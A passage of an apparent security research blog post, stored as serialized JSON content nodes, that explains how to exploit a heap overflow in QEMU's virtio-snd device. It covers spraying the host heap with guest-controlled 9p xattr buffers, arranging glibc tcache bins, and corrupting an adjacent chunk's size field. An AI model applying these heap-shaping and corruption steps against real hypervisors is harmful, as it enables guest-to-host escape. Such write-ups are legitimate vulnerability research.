",{"type":25,"tag":216,"props":131872,"children":131873},{"style":7041},[131874],{"type":31,"value":131875},"v9fs_xattrcreate",{"type":25,"tag":216,"props":131877,"children":131878},{"style":6958},[131879],{"type":31,"value":1844},{"type":25,"tag":216,"props":131881,"children":131882},{"style":6930},[131883],{"type":31,"value":55589},{"type":25,"tag":216,"props":131885,"children":131886},{"style":6947},[131887],{"type":31,"value":13767},{"type":25,"tag":216,"props":131889,"children":131890},{"style":6941},[131891],{"type":31,"value":131892},"opaque",{"type":25,"tag":216,"props":131894,"children":131895},{"style":6958},[131896],{"type":31,"value":7101},{"type":25,"tag":216,"props":131898,"children":131899},{"class":6916,"line":6763},[131900],{"type":25,"tag":216,"props":131901,"children":131902},{"style":6958},[131903],{"type":31,"value":14830},{"type":25,"tag":216,"props":131905,"children":131906},{"class":6916,"line":6772},[131907,131911,131916,131920,131924],{"type":25,"tag":216,"props":131908,"children":131909},{"style":6930},[131910],{"type":31,"value":23031},{"type":25,"tag":216,"props":131912,"children":131913},{"style":6958},[131914],{"type":31,"value":131915}," flags, rflags ",{"type":25,"tag":216,"props":131917,"children":131918},{"style":6947},[131919],{"type":31,"value":266},{"type":25,"tag":216,"props":131921,"children":131922},{"style":6983},[131923],{"type":31,"value":6986},{"type":25,"tag":216,"props":131925,"children":131926},{"style":6958},[131927],{"type":31,"value":6961},{"type":25,"tag":216,"props":131929,"children":131930},{"class":6916,"line":6999},[131931,131936],{"type":25,"tag":216,"props":131932,"children":131933},{"style":6930},[131934],{"type":31,"value":131935},"    int32_t",{"type":25,"tag":216,"props":131937,"children":131938},{"style":6958},[131939],{"type":31,"value":131940}," fid;\n",{"type":25,"tag":216,"props":131942,"children":131943},{"class":6916,"line":7104},[131944,131948],{"type":25,"tag":216,"props":131945,"children":131946},{"style":6930},[131947],{"type":31,"value":59575},{"type":25,"tag":216,"props":131949,"children":131950},{"style":6958},[131951],{"type":31,"value":128528},{"type":25,"tag":216,"props":131953,"children":131954},{"class":6916,"line":7210},[131955,131960,131965,131969,131973],{"type":25,"tag":216,"props":131956,"children":131957},{"style":6930},[131958],{"type":31,"value":131959},"    ssize_t",{"type":25,"tag":216,"props":131961,"children":131962},{"style":6958},[131963],{"type":31,"value":131964}," err ",{"type":25,"tag":216,"props":131966,"children":131967},{"style":6947},[131968],{"type":31,"value":266},{"type":25,"tag":216,"props":131970,"children":131971},{"style":6983},[131972],{"type":31,"value":6986},{"type":25,"tag":216,"props":131974,"children":131975},{"style":6958},[131976],{"type":31,"value":6961},{"type":25,"tag":216,"props":131978,"children":131979},{"class":6916,"line":7238},[131980],{"type":25,"tag":216,"props":131981,"children":131982},{"style":6958},[131983],{"type":31,"value":131984},"    V9fsString name;\n",{"type":25,"tag":216,"props":131986,"children":131987},{"class":6916,"line":7251},[131988,131992,131997,132001,132006],{"type":25,"tag":216,"props":131989,"children":131990},{"style":6930},[131991],{"type":31,"value":20517},{"type":25,"tag":216,"props":131993,"children":131994},{"style":6958},[131995],{"type":31,"value":131996}," offset ",{"type":25,"tag":216,"props":131998,"children":131999},{"style":6947},[132000],{"type":31,"value":266},{"type":25,"tag":216,"props":132002,"children":132003},{"style":6983},[132004],{"type":31,"value":132005}," 7",{"type":25,"tag":216,"props":132007,"children":132008},{"style":6958},[132009],{"type":31,"value":6961},{"type":25,"tag":216,"props":132011,"children":132012},{"class":6916,"line":7269},[132013,132018,132022],{"type":25,"tag":216,"props":132014,"children":132015},{"style":6958},[132016],{"type":31,"value":132017},"    V9fsFidState ",{"type":25,"tag":216,"props":132019,"children":132020},{"style":6947},[132021],{"type":31,"value":8513},{"type":25,"tag":216,"props":132023,"children":132024},{"style":6958},[132025],{"type":31,"value":132026},"file_fidp;\n",{"type":25,"tag":216,"props":132028,"children":132029},{"class":6916,"line":7290},[132030,132034,132038],{"type":25,"tag":216,"props":132031,"children":132032},{"style":6958},[132033],{"type":31,"value":132017},{"type":25,"tag":216,"props":132035,"children":132036},{"style":6947},[132037],{"type":31,"value":8513},{"type":25,"tag":216,"props":132039,"children":132040},{"style":6958},[132041],{"type":31,"value":132042},"xattr_fidp;\n",{"type":25,"tag":216,"props":132044,"children":132045},{"class":6916,"line":7299},[132046,132051,132055,132060,132064],{"type":25,"tag":216,"props":132047,"children":132048},{"style":6958},[132049],{"type":31,"value":132050},"    V9fsPDU ",{"type":25,"tag":216,"props":132052,"children":132053},{"style":6947},[132054],{"type":31,"value":8513},{"type":25,"tag":216,"props":132056,"children":132057},{"style":6958},[132058],{"type":31,"value":132059},"pdu ",{"type":25,"tag":216,"props":132061,"children":132062},{"style":6947},[132063],{"type":31,"value":266},{"type":25,"tag":216,"props":132065,"children":132066},{"style":6958},[132067],{"type":31,"value":132068}," opaque;\n",{"type":25,"tag":216,"props":132070,"children":132071},{"class":6916,"line":7551},[132072],{"type":25,"tag":216,"props":132073,"children":132074},{"emptyLinePlaceholder":16},[132075],{"type":31,"value":7636},{"type":25,"tag":216,"props":132077,"children":132078},{"class":6916,"line":7568},[132079,132084,132088,132092],{"type":25,"tag":216,"props":132080,"children":132081},{"style":7041},[132082],{"type":31,"value":132083},"    v9fs_string_init",{"type":25,"tag":216,"props":132085,"children":132086},{"style":6958},[132087],{"type":31,"value":1844},{"type":25,"tag":216,"props":132089,"children":132090},{"style":6947},[132091],{"type":31,"value":7053},{"type":25,"tag":216,"props":132093,"children":132094},{"style":6958},[132095],{"type":31,"value":132096},"name);\n",{"type":25,"tag":216,"props":132098,"children":132099},{"class":6916,"line":7585},[132100,132105,132109,132114,132119,132124,132128,132132,132137,132141,132146,132150,132154,132158],{"type":25,"tag":216,"props":132101,"children":132102},{"style":6958},[132103],{"type":31,"value":132104},"    err ",{"type":25,"tag":216,"props":132106,"children":132107},{"style":6947},[132108],{"type":31,"value":266},{"type":25,"tag":216,"props":132110,"children":132111},{"style":7041},[132112],{"type":31,"value":132113}," pdu_unmarshal",{"type":25,"tag":216,"props":132115,"children":132116},{"style":6958},[132117],{"type":31,"value":132118},"(pdu, offset, ",{"type":25,"tag":216,"props":132120,"children":132121},{"style":8199},[132122],{"type":31,"value":132123},"\"dsqd\"",{"type":25,"tag":216,"props":132125,"children":132126},{"style":6958},[132127],{"type":31,"value":7020},{"type":25,"tag":216,"props":132129,"children":132130},{"style":6947},[132131],{"type":31,"value":7053},{"type":25,"tag":216,"props":132133,"children":132134},{"style":6958},[132135],{"type":31,"value":132136},"fid, ",{"type":25,"tag":216,"props":132138,"children":132139},{"style":6947},[132140],{"type":31,"value":7053},{"type":25,"tag":216,"props":132142,"children":132143},{"style":6958},[132144],{"type":31,"value":132145},"name, ",{"type":25,"tag":216,"props":132147,"children":132148},{"style":6947},[132149],{"type":31,"value":7053},{"type":25,"tag":216,"props":132151,"children":132152},{"style":6958},[132153],{"type":31,"value":130896},{"type":25,"tag":216,"props":132155,"children":132156},{"style":6947},[132157],{"type":31,"value":7053},{"type":25,"tag":216,"props":132159,"children":132160},{"style":6958},[132161],{"type":31,"value":132162},"flags);\n",{"type":25,"tag":216,"props":132164,"children":132165},{"class":6916,"line":7598},[132166,132170,132175,132179,132183],{"type":25,"tag":216,"props":132167,"children":132168},{"style":6967},[132169],{"type":31,"value":16229},{"type":25,"tag":216,"props":132171,"children":132172},{"style":6958},[132173],{"type":31,"value":132174}," (err ",{"type":25,"tag":216,"props":132176,"children":132177},{"style":6947},[132178],{"type":31,"value":9751},{"type":25,"tag":216,"props":132180,"children":132181},{"style":6983},[132182],{"type":31,"value":6986},{"type":25,"tag":216,"props":132184,"children":132185},{"style":6958},[132186],{"type":31,"value":18755},{"type":25,"tag":216,"props":132188,"children":132189},{"class":6916,"line":7607},[132190,132195],{"type":25,"tag":216,"props":132191,"children":132192},{"style":6967},[132193],{"type":31,"value":132194},"        goto",{"type":25,"tag":216,"props":132196,"children":132197},{"style":6958},[132198],{"type":31,"value":132199}," out_nofid;\n",{"type":25,"tag":216,"props":132201,"children":132202},{"class":6916,"line":7630},[132203],{"type":25,"tag":216,"props":132204,"children":132205},{"style":6958},[132206],{"type":31,"value":7305},{"type":25,"tag":216,"props":132208,"children":132209},{"class":6916,"line":7639},[132210],{"type":25,"tag":216,"props":132211,"children":132212},{"emptyLinePlaceholder":16},[132213],{"type":31,"value":7636},{"type":25,"tag":216,"props":132215,"children":132216},{"class":6916,"line":7648},[132217],{"type":25,"tag":216,"props":132218,"children":132219},{"style":6958},[132220],{"type":31,"value":108753},{"type":25,"tag":216,"props":132222,"children":132223},{"class":6916,"line":7716},[132224],{"type":25,"tag":216,"props":132225,"children":132226},{"emptyLinePlaceholder":16},[132227],{"type":31,"value":7636},{"type":25,"tag":216,"props":132229,"children":132230},{"class":6916,"line":7724},[132231,132235,132239,132243],{"type":25,"tag":216,"props":132232,"children":132233},{"style":6967},[132234],{"type":31,"value":16229},{"type":25,"tag":216,"props":132236,"children":132237},{"style":6958},[132238],{"type":31,"value":130997},{"type":25,"tag":216,"props":132240,"children":132241},{"style":6947},[132242],{"type":31,"value":5896},{"type":25,"tag":216,"props":132244,"children":132245},{"style":6958},[132246],{"type":31,"value":132247}," P9_XATTR_SIZE_MAX) {\n",{"type":25,"tag":216,"props":132249,"children":132250},{"class":6916,"line":7754},[132251,132256,132260,132264],{"type":25,"tag":216,"props":132252,"children":132253},{"style":6958},[132254],{"type":31,"value":132255},"        err ",{"type":25,"tag":216,"props":132257,"children":132258},{"style":6947},[132259],{"type":31,"value":266},{"type":25,"tag":216,"props":132261,"children":132262},{"style":6947},[132263],{"type":31,"value":55218},{"type":25,"tag":216,"props":132265,"children":132266},{"style":6958},[132267],{"type":31,"value":132268},"E2BIG;\n",{"type":25,"tag":216,"props":132270,"children":132271},{"class":6916,"line":7762},[132272,132276],{"type":25,"tag":216,"props":132273,"children":132274},{"style":6967},[132275],{"type":31,"value":132194},{"type":25,"tag":216,"props":132277,"children":132278},{"style":6958},[132279],{"type":31,"value":132199},{"type":25,"tag":216,"props":132281,"children":132282},{"class":6916,"line":7794},[132283],{"type":25,"tag":216,"props":132284,"children":132285},{"style":6958},[132286],{"type":31,"value":7305},{"type":25,"tag":216,"props":132288,"children":132289},{"class":6916,"line":7802},[132290],{"type":25,"tag":216,"props":132291,"children":132292},{"emptyLinePlaceholder":16},[132293],{"type":31,"value":7636},{"type":25,"tag":216,"props":132295,"children":132296},{"class":6916,"line":7862},[132297],{"type":25,"tag":216,"props":132298,"children":132299},{"style":6958},[132300],{"type":31,"value":108753},{"type":25,"tag":216,"props":132302,"children":132303},{"class":6916,"line":12995},[132304],{"type":25,"tag":216,"props":132305,"children":132306},{"emptyLinePlaceholder":16},[132307],{"type":31,"value":7636},{"type":25,"tag":216,"props":132309,"children":132310},{"class":6916,"line":13013},[132311,132315,132319,132323,132328,132332,132336,132340,132345,132349,132353],{"type":25,"tag":216,"props":132312,"children":132313},{"style":7041},[132314],{"type":31,"value":132083},{"type":25,"tag":216,"props":132316,"children":132317},{"style":6958},[132318],{"type":31,"value":1844},{"type":25,"tag":216,"props":132320,"children":132321},{"style":6947},[132322],{"type":31,"value":7053},{"type":25,"tag":216,"props":132324,"children":132325},{"style":6941},[132326],{"type":31,"value":132327},"xattr_fidp",{"type":25,"tag":216,"props":132329,"children":132330},{"style":6958},[132331],{"type":31,"value":17708},{"type":25,"tag":216,"props":132333,"children":132334},{"style":6941},[132335],{"type":31,"value":40939},{"type":25,"tag":216,"props":132337,"children":132338},{"style":6958},[132339],{"type":31,"value":179},{"type":25,"tag":216,"props":132341,"children":132342},{"style":6941},[132343],{"type":31,"value":132344},"xattr",{"type":25,"tag":216,"props":132346,"children":132347},{"style":6958},[132348],{"type":31,"value":179},{"type":25,"tag":216,"props":132350,"children":132351},{"style":6941},[132352],{"type":31,"value":52461},{"type":25,"tag":216,"props":132354,"children":132355},{"style":6958},[132356],{"type":31,"value":7791},{"type":25,"tag":216,"props":132358,"children":132359},{"class":6916,"line":13058},[132360,132365,132369,132373,132377,132381,132385,132389,132393,132397,132401,132405,132409],{"type":25,"tag":216,"props":132361,"children":132362},{"style":7041},[132363],{"type":31,"value":132364},"    v9fs_string_copy",{"type":25,"tag":216,"props":132366,"children":132367},{"style":6958},[132368],{"type":31,"value":1844},{"type":25,"tag":216,"props":132370,"children":132371},{"style":6947},[132372],{"type":31,"value":7053},{"type":25,"tag":216,"props":132374,"children":132375},{"style":6941},[132376],{"type":31,"value":132327},{"type":25,"tag":216,"props":132378,"children":132379},{"style":6958},[132380],{"type":31,"value":17708},{"type":25,"tag":216,"props":132382,"children":132383},{"style":6941},[132384],{"type":31,"value":40939},{"type":25,"tag":216,"props":132386,"children":132387},{"style":6958},[132388],{"type":31,"value":179},{"type":25,"tag":216,"props":132390,"children":132391},{"style":6941},[132392],{"type":31,"value":132344},{"type":25,"tag":216,"props":132394,"children":132395},{"style":6958},[132396],{"type":31,"value":179},{"type":25,"tag":216,"props":132398,"children":132399},{"style":6941},[132400],{"type":31,"value":52461},{"type":25,"tag":216,"props":132402,"children":132403},{"style":6958},[132404],{"type":31,"value":7020},{"type":25,"tag":216,"props":132406,"children":132407},{"style":6947},[132408],{"type":31,"value":7053},{"type":25,"tag":216,"props":132410,"children":132411},{"style":6958},[132412],{"type":31,"value":132096},{"type":25,"tag":216,"props":132414,"children":132415},{"class":6916,"line":13164},[132416,132421,132425,132429,132433,132437,132441,132445,132449,132453],{"type":25,"tag":216,"props":132417,"children":132418},{"style":6941},[132419],{"type":31,"value":132420},"    xattr_fidp",{"type":25,"tag":216,"props":132422,"children":132423},{"style":6958},[132424],{"type":31,"value":17708},{"type":25,"tag":216,"props":132426,"children":132427},{"style":6941},[132428],{"type":31,"value":40939},{"type":25,"tag":216,"props":132430,"children":132431},{"style":6958},[132432],{"type":31,"value":179},{"type":25,"tag":216,"props":132434,"children":132435},{"style":6941},[132436],{"type":31,"value":132344},{"type":25,"tag":216,"props":132438,"children":132439},{"style":6958},[132440],{"type":31,"value":179},{"type":25,"tag":216,"props":132442,"children":132443},{"style":6941},[132444],{"type":31,"value":43109},{"type":25,"tag":216,"props":132446,"children":132447},{"style":6947},[132448],{"type":31,"value":6950},{"type":25,"tag":216,"props":132450,"children":132451},{"style":7041},[132452],{"type":31,"value":128099},{"type":25,"tag":216,"props":132454,"children":132455},{"style":6958},[132456],{"type":31,"value":132457},"(size);\n",{"type":25,"tag":216,"props":132459,"children":132460},{"class":6916,"line":27449},[132461],{"type":25,"tag":216,"props":132462,"children":132463},{"style":6958},[132464],{"type":31,"value":7868},{"type":25,"tag":38,"props":132466,"children":132467},{},[132468,132470,132475,132477,132482,132483,132488,132490,132495],{"type":31,"value":132469},"Because the ",{"type":25,"tag":82,"props":132471,"children":132473},{"className":132472},[],[132474],{"type":31,"value":131831},{"type":31,"value":132476}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":25,"tag":82,"props":132478,"children":132480},{"className":132479},[],[132481],{"type":31,"value":131831},{"type":31,"value":1301},{"type":25,"tag":82,"props":132484,"children":132486},{"className":132485},[],[132487],{"type":31,"value":131838},{"type":31,"value":132489},", not just the ",{"type":25,"tag":82,"props":132491,"children":132493},{"className":132492},[],[132494],{"type":31,"value":131838},{"type":31,"value":132496}," we actually care about. But we will get around this later in the blog post.",{"type":25,"tag":38,"props":132498,"children":132499},{},[132500,132501,132506],{"type":31,"value":474},{"type":25,"tag":82,"props":132502,"children":132504},{"className":132503},[],[132505],{"type":31,"value":131838},{"type":31,"value":132507}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":25,"tag":38,"props":132509,"children":132510},{},[132511,132513,132518,132520,132526,132528,132534,132536,132542],{"type":31,"value":132512},"Once allocated, we can write arbitrary bytes into the ",{"type":25,"tag":82,"props":132514,"children":132516},{"className":132515},[],[132517],{"type":31,"value":131838},{"type":31,"value":132519}," buffer through a ",{"type":25,"tag":82,"props":132521,"children":132523},{"className":132522},[],[132524],{"type":31,"value":132525},"P9_TWRITE",{"type":31,"value":132527}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":25,"tag":82,"props":132529,"children":132531},{"className":132530},[],[132532],{"type":31,"value":132533},"P9_TREAD",{"type":31,"value":132535},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":25,"tag":82,"props":132537,"children":132539},{"className":132538},[],[132540],{"type":31,"value":132541},"P9_TCLUNK",{"type":31,"value":132543}," request on that same FID.",{"type":25,"tag":38,"props":132545,"children":132546},{},[132547,132549,132555],{"type":31,"value":132548},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":25,"tag":82,"props":132550,"children":132552},{"className":132551},[],[132553],{"type":31,"value":132554},"65536",{"type":31,"value":132556}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":25,"tag":607,"props":132558,"children":132560},{"id":132559},"setting-the-heap-layout",[132561],{"type":31,"value":132562},"Setting the Heap Layout",{"type":25,"tag":38,"props":132564,"children":132565},{},[132566,132568,132573],{"type":31,"value":132567},"Ideally, we want a contiguous heap region consisting only of ",{"type":25,"tag":82,"props":132569,"children":132571},{"className":132570},[],[132572],{"type":31,"value":131838},{"type":31,"value":132574}," allocations, like this:",{"type":25,"tag":206,"props":132576,"children":132578},{"code":132577},"   0x200      0x200      0x200      0x200      0x200\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value B | .value C | .value D | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[132579],{"type":25,"tag":82,"props":132580,"children":132581},{"__ignoreMap":7},[132582],{"type":31,"value":132577},{"type":25,"tag":38,"props":132584,"children":132585},{},[132586,132588,132593,132595,132600,132602,132607],{"type":31,"value":132587},"This lets us later create holes by freeing every other ",{"type":25,"tag":82,"props":132589,"children":132591},{"className":132590},[],[132592],{"type":31,"value":131838},{"type":31,"value":132594}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":25,"tag":82,"props":132596,"children":132598},{"className":132597},[],[132599],{"type":31,"value":128186},{"type":31,"value":132601}," field of the next live ",{"type":25,"tag":82,"props":132603,"children":132605},{"className":132604},[],[132606],{"type":31,"value":131838},{"type":31,"value":132608}," chunk.",{"type":25,"tag":38,"props":132610,"children":132611},{},[132612],{"type":31,"value":132613},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":25,"tag":38,"props":132615,"children":132616},{},[132617,132619,132624,132626,132631,132633,132638,132640,132645],{"type":31,"value":132618},"As mentioned earlier, ",{"type":25,"tag":82,"props":132620,"children":132622},{"className":132621},[],[132623],{"type":31,"value":131875},{"type":31,"value":132625}," always allocates two chunks: one for ",{"type":25,"tag":82,"props":132627,"children":132629},{"className":132628},[],[132630],{"type":31,"value":131831},{"type":31,"value":132632}," and one for ",{"type":25,"tag":82,"props":132634,"children":132636},{"className":132635},[],[132637],{"type":31,"value":131838},{"type":31,"value":132639},". We want to avoid having ",{"type":25,"tag":82,"props":132641,"children":132643},{"className":132642},[],[132644],{"type":31,"value":131831},{"type":31,"value":132646}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":25,"tag":6705,"props":132648,"children":132649},{},[132650,132662],{"type":25,"tag":2037,"props":132651,"children":132652},{},[132653,132655,132660],{"type":31,"value":132654},"Make ",{"type":25,"tag":82,"props":132656,"children":132658},{"className":132657},[],[132659],{"type":31,"value":131831},{"type":31,"value":132661}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":25,"tag":2037,"props":132663,"children":132664},{},[132665,132667,132672,132674,132679,132681,132686],{"type":31,"value":132666},"Prepare a separate region whose sole purpose is to absorb ",{"type":25,"tag":82,"props":132668,"children":132670},{"className":132669},[],[132671],{"type":31,"value":131831},{"type":31,"value":132673},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":25,"tag":82,"props":132675,"children":132677},{"className":132676},[],[132678],{"type":31,"value":131831},{"type":31,"value":132680}," allocations from that separate freelist instead of placing them next to our ",{"type":25,"tag":82,"props":132682,"children":132684},{"className":132683},[],[132685],{"type":31,"value":131838},{"type":31,"value":132687}," chunks.",{"type":25,"tag":631,"props":132689,"children":132691},{"id":132690},"separating-name-allocations",[132692],{"type":31,"value":132693},"Separating .name allocations",{"type":25,"tag":38,"props":132695,"children":132696},{},[132697,132699,132704,132706,132711],{"type":31,"value":132698},"We chose the second option. However, it is not as simple as issuing ",{"type":25,"tag":82,"props":132700,"children":132702},{"className":132701},[],[132703],{"type":31,"value":131875},{"type":31,"value":132705}," for N ",{"type":25,"tag":82,"props":132707,"children":132709},{"className":132708},[],[132710],{"type":31,"value":131831},{"type":31,"value":132712},"-sized allocations and then freeing them.",{"type":25,"tag":38,"props":132714,"children":132715},{},[132716,132718,132723,132724,132729,132730,132735,132737,132742,132744,132749],{"type":31,"value":132717},"At this point, we already know that ",{"type":25,"tag":82,"props":132719,"children":132721},{"className":132720},[],[132722],{"type":31,"value":131875},{"type":31,"value":132625},{"type":25,"tag":82,"props":132725,"children":132727},{"className":132726},[],[132728],{"type":31,"value":131831},{"type":31,"value":132632},{"type":25,"tag":82,"props":132731,"children":132733},{"className":132732},[],[132734],{"type":31,"value":131838},{"type":31,"value":132736},". If we simply call it with ",{"type":25,"tag":82,"props":132738,"children":132740},{"className":132739},[],[132741],{"type":31,"value":131838},{"type":31,"value":132743}," sized the same as ",{"type":25,"tag":82,"props":132745,"children":132747},{"className":132746},[],[132748],{"type":31,"value":131831},{"type":31,"value":132750},", we get a layout like this:",{"type":25,"tag":206,"props":132752,"children":132754},{"code":132753},"    0x20       0x20       0x20       0x20       0x20\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .name  A | .value A | .name  B | .value B | .name  C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[132755],{"type":25,"tag":82,"props":132756,"children":132757},{"__ignoreMap":7},[132758],{"type":31,"value":132753},{"type":25,"tag":38,"props":132760,"children":132761},{},[132762,132764,132769,132771,132777,132779,132785,132787,132792,132794,132799,132801,132806],{"type":31,"value":132763},"With that heap state, issuing a ",{"type":25,"tag":82,"props":132765,"children":132767},{"className":132766},[],[132768],{"type":31,"value":132541},{"type":31,"value":132770}," request would first free ",{"type":25,"tag":82,"props":132772,"children":132774},{"className":132773},[],[132775],{"type":31,"value":132776},".name A",{"type":31,"value":132778}," and then ",{"type":25,"tag":82,"props":132780,"children":132782},{"className":132781},[],[132783],{"type":31,"value":132784},".value A",{"type":31,"value":132786},". When ",{"type":25,"tag":82,"props":132788,"children":132790},{"className":132789},[],[132791],{"type":31,"value":132784},{"type":31,"value":132793}," is freed, the allocator sees that the preceding chunk ",{"type":25,"tag":82,"props":132795,"children":132797},{"className":132796},[],[132798],{"type":31,"value":132776},{"type":31,"value":132800}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":25,"tag":82,"props":132802,"children":132804},{"className":132803},[],[132805],{"type":31,"value":131831},{"type":31,"value":132807},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":25,"tag":38,"props":132809,"children":132810},{},[132811],{"type":31,"value":132812},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":25,"tag":38,"props":132814,"children":132815},{},[132816,132818,132823,132825,132830,132832,132837,132839,132845,132847,132852,132854,132860],{"type":31,"value":132817},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":25,"tag":82,"props":132819,"children":132821},{"className":132820},[],[132822],{"type":31,"value":131831},{"type":31,"value":132824}," allocation remains fixed at size ",{"type":25,"tag":82,"props":132826,"children":132828},{"className":132827},[],[132829],{"type":31,"value":109019},{"type":31,"value":132831},". We first allocate 16 xattrs whose ",{"type":25,"tag":82,"props":132833,"children":132835},{"className":132834},[],[132836],{"type":31,"value":131838},{"type":31,"value":132838}," size is ",{"type":25,"tag":82,"props":132840,"children":132842},{"className":132841},[],[132843],{"type":31,"value":132844},"0x30",{"type":31,"value":132846},". After that, we allocate another 16 xattrs, this time with ",{"type":25,"tag":82,"props":132848,"children":132850},{"className":132849},[],[132851],{"type":31,"value":131838},{"type":31,"value":132853}," size ",{"type":25,"tag":82,"props":132855,"children":132857},{"className":132856},[],[132858],{"type":31,"value":132859},"0x40",{"type":31,"value":132861},", and continue in the same way for each tcache size class.",{"type":25,"tag":38,"props":132863,"children":132864},{},[132865],{"type":31,"value":132866},"This yields the following layout:",{"type":25,"tag":206,"props":132868,"children":132870},{"code":132869},"    0x20        0x30         0x20        0x30\n+---------+--------------+---------+--------------+- - - - -\n|         |              |         |              |\n| .name A |   .value A   | .name B |   .value B   |  . . .\n|         |              |         |              |\n+---------+--------------+---------+--------------+- - - - -\n\n    0x20          0x40           0x20           0x40\n+---------+------------------+---------+------------------+- - - - -\n|         |                  |         |                  |\n| .name C |     .value C     | .name D |     .value D     |  . . .\n|         |                  |         |                  |\n+---------+------------------+---------+------------------+- - - - -\n",[132871],{"type":25,"tag":82,"props":132872,"children":132873},{"__ignoreMap":7},[132874],{"type":31,"value":132869},{"type":25,"tag":38,"props":132876,"children":132877},{},[132878,132880,132885,132887,132892,132894,132899,132901,132906,132908,132913,132915,132920,132921,132926,132928,132933,132935,132940,132942,132947,132949,132954,132956,132961],{"type":31,"value":132879},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":25,"tag":82,"props":132881,"children":132883},{"className":132882},[],[132884],{"type":31,"value":131831},{"type":31,"value":132886}," chunks end up in the ",{"type":25,"tag":82,"props":132888,"children":132890},{"className":132889},[],[132891],{"type":31,"value":109019},{"type":31,"value":132893}," tcache bin, along with the interleaved ",{"type":25,"tag":82,"props":132895,"children":132897},{"className":132896},[],[132898],{"type":31,"value":131838},{"type":31,"value":132900}," chunks of size ",{"type":25,"tag":82,"props":132902,"children":132904},{"className":132903},[],[132905],{"type":31,"value":132844},{"type":31,"value":132907},". The next 16 ",{"type":25,"tag":82,"props":132909,"children":132911},{"className":132910},[],[132912],{"type":31,"value":131831},{"type":31,"value":132914}," chunks are interleaved with ",{"type":25,"tag":82,"props":132916,"children":132918},{"className":132917},[],[132919],{"type":31,"value":131838},{"type":31,"value":132900},{"type":25,"tag":82,"props":132922,"children":132924},{"className":132923},[],[132925],{"type":31,"value":132859},{"type":31,"value":132927},"; when freed, those ",{"type":25,"tag":82,"props":132929,"children":132931},{"className":132930},[],[132932],{"type":31,"value":131838},{"type":31,"value":132934}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":25,"tag":82,"props":132936,"children":132938},{"className":132937},[],[132939],{"type":31,"value":131831},{"type":31,"value":132941}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":25,"tag":82,"props":132943,"children":132945},{"className":132944},[],[132946],{"type":31,"value":131831},{"type":31,"value":132948},"-sized chunks that will later be served to the ",{"type":25,"tag":82,"props":132950,"children":132952},{"className":132951},[],[132953],{"type":31,"value":131831},{"type":31,"value":132955}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":25,"tag":82,"props":132957,"children":132959},{"className":132958},[],[132960],{"type":31,"value":131838},{"type":31,"value":132687},{"type":25,"tag":607,"props":132963,"children":132965},{"id":132964},"corrupting-the-size",[132966],{"type":31,"value":132967},"Corrupting the Size",{"type":25,"tag":38,"props":132969,"children":132970},{},[132971,132973,132978,132980,132985,132987,132992,132994,132999,133000,133005],{"type":31,"value":132972},"The input format is guest-controlled, and we choose ",{"type":25,"tag":82,"props":132974,"children":132976},{"className":132975},[],[132977],{"type":31,"value":7372},{"type":31,"value":132979}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":25,"tag":82,"props":132981,"children":132983},{"className":132982},[],[132984],{"type":31,"value":7372},{"type":31,"value":132986}," is centered at ",{"type":25,"tag":82,"props":132988,"children":132990},{"className":132989},[],[132991],{"type":31,"value":33394},{"type":31,"value":132993}," (rather than ",{"type":25,"tag":82,"props":132995,"children":132997},{"className":132996},[],[132998],{"type":31,"value":130093},{"type":31,"value":130080},{"type":25,"tag":82,"props":133001,"children":133003},{"className":133002},[],[133004],{"type":31,"value":130071},{"type":31,"value":133006},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":25,"tag":38,"props":133008,"children":133009},{},[133010,133012,133017],{"type":31,"value":133011},"As we already concluded, ",{"type":25,"tag":82,"props":133013,"children":133015},{"className":133014},[],[133016],{"type":31,"value":129536},{"type":31,"value":133018}," is called with the amount:",{"type":25,"tag":206,"props":133020,"children":133022},{"code":133021},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[133023],{"type":25,"tag":82,"props":133024,"children":133025},{"__ignoreMap":7},[133026],{"type":31,"value":133021},{"type":25,"tag":38,"props":133028,"children":133029},{},[133030,133032,133037,133039,133044],{"type":31,"value":133031},"And as mentioned earlier, ",{"type":25,"tag":82,"props":133033,"children":133035},{"className":133034},[],[133036],{"type":31,"value":129567},{"type":31,"value":133038}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's 